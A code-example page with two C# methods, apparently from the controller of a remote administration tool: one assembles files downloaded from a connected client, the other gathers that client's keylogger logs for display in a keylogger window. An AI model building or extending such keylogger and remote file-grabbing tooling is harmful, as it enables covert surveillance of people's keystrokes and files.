コード例 #1
0
        public static void doDownloadFileResponse(ClientMosaic client, DoDownloadFileResponse packet)
        {
            if (canceledDownloads.ContainsKey(packet.id) || string.IsNullOrEmpty(packet.fileName))
            {
                return;
            }

            if (!Directory.Exists(client.value.downloadDirectory))
            {
                Directory.CreateDirectory(client.value.downloadDirectory);
            }

            string downloadPath = Path.Combine(client.value.downloadDirectory, packet.fileName);

            if (packet.currentBlock == 0 && File.Exists(downloadPath))
            {
                for (int i = 1; i < 100; i++)
                {
                    var newFileName = string.Format("{0} ({1}){2}", Path.GetFileNameWithoutExtension(downloadPath), i, Path.GetExtension(downloadPath));
                    if (File.Exists(Path.Combine(client.value.downloadDirectory, newFileName)))
                    {
                        continue;
                    }

                    downloadPath = Path.Combine(client.value.downloadDirectory, newFileName);
                    renamedFiles.Add(packet.id, newFileName);
                    break;
                }
            }
            else if (packet.currentBlock > 0 && File.Exists(downloadPath) && renamedFiles.ContainsKey(packet.id))
            {
                downloadPath = Path.Combine(client.value.downloadDirectory, renamedFiles[packet.id]);
            }

            if (client.value == null || client.value.frmFm == null)
            {
                //System.Windows.Forms.MessageBox.Show("l 140 - FMController");
                //FrmMain.Instance.SetStatusByClient(client, "Download aborted, please keep the File Manager open.");
                new DoDownloadFileCancel(packet.id).Execute(client);
                return;
            }

            int index = client.value.frmFm.getTransferIndex(packet.id);

            if (index < 0)
            {
                return;
            }


            if (!string.IsNullOrEmpty(packet.customMessage))
            {
                if (client.value.frmFm == null) // abort download when form is closed
                {
                    return;
                }

                client.value.frmFm.updateTransferStatus(index, packet.customMessage, 0);
                return;
            }

            FileSplit destFile = new FileSplit(downloadPath);

            if (!destFile.AppendBlock(packet.block, packet.currentBlock))
            {
                if (client.value == null || client.value.frmFm == null)
                {
                    return;
                }

                client.value.frmFm.updateTransferStatus(index, destFile.LastError, 0);
                return;
            }

            decimal progress =
                Math.Round((decimal)((double)(packet.currentBlock + 1) / (double)packet.maxBlocks * 100.0), 2);

            if (client.value == null || client.value.frmFm == null)
            {
                return;
            }

            if (canceledDownloads.ContainsKey(packet.id))
            {
                return;
            }

            client.value.frmFm.updateTransferStatus(index, string.Format("Downloading...({0}%)", progress), -1);

            if ((packet.currentBlock + 1) == packet.maxBlocks)
            {
                if (client.value.frmFm == null)
                {
                    return;
                }
                renamedFiles.Remove(packet.id);
                client.value.frmFm.updateTransferStatus(index, "Completed", 1);
            }
        }
コード例 #2
0
        public static void getKeyLoggerLogsResponse(ClientMosaic client, GetKeyLoggerLogsResponse packet)
        {
            if (client.value == null || client.value.frmKl == null)
            {
                return;
            }

            if (packet.fileCount == 0)
            {
                client.value.frmKl.SetGetLogsEnabled(true);
                return;
            }

            if (string.IsNullOrEmpty(packet.filename))
            {
                return;
            }

            string downloadPath = Path.Combine(client.value.downloadDirectory, "Logs\\");

            if (!Directory.Exists(downloadPath))
            {
                Directory.CreateDirectory(downloadPath);
            }

            downloadPath = Path.Combine(downloadPath, packet.filename + ".html");

            FileSplit destFile = new FileSplit(downloadPath);

            destFile.AppendBlock(packet.block, packet.currentBlock);

            if ((packet.currentBlock + 1) == packet.maxBlocks)
            {
                try
                {
                    File.WriteAllText(downloadPath, ReadLogFile(downloadPath));
                }
                catch
                {
                }

                if (packet.index == packet.fileCount)
                {
                    FileInfo[] iFiles = new DirectoryInfo(Path.Combine(client.value.downloadDirectory, "Logs\\")).GetFiles();

                    if (iFiles.Length == 0)
                    {
                        return;
                    }

                    foreach (FileInfo file in iFiles)
                    {
                        if (client.value == null || client.value.frmKl == null)
                        {
                            break;
                        }

                        client.value.frmKl.AddLogToListview(file.Name);
                    }
                    if (client.value == null || client.value.frmKl == null)
                    {
                        return;
                    }

                    client.value.frmKl.SetGetLogsEnabled(true);
                }
            }
        }